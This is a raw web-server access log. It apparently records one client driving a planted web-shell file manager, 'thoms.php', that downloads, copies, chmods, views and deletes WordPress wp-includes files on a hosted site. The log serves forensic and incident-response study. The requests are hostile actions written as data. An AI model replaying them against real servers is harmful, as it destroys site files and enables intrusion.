45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?dl=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Flocale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Flocale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30357 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?del=link-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24454 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /booking-wise2.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1394 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16059 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?dl=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21036 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?del=block-patterns&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59432 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12440 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18047 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:12 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14745 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?del=fonts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?del=session.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=session.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /thoms.php?dl=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59430 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:13 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17500 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /booking-wise2.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-previews.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-previews.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31901 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?dl=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59338 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fjson-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fjson-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?chmod=kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /booking-wise2.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:14 -0400] "GET /thoms.php?del=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11555 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /booking-wise2.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39867 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?dl=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /booking-wise2.com.tw/wp-includes/assets/ HTTP/1.1" 200 884 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?del=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:15 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59270 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?chmod=template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?dl=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?del=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:16 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14315 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15107 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
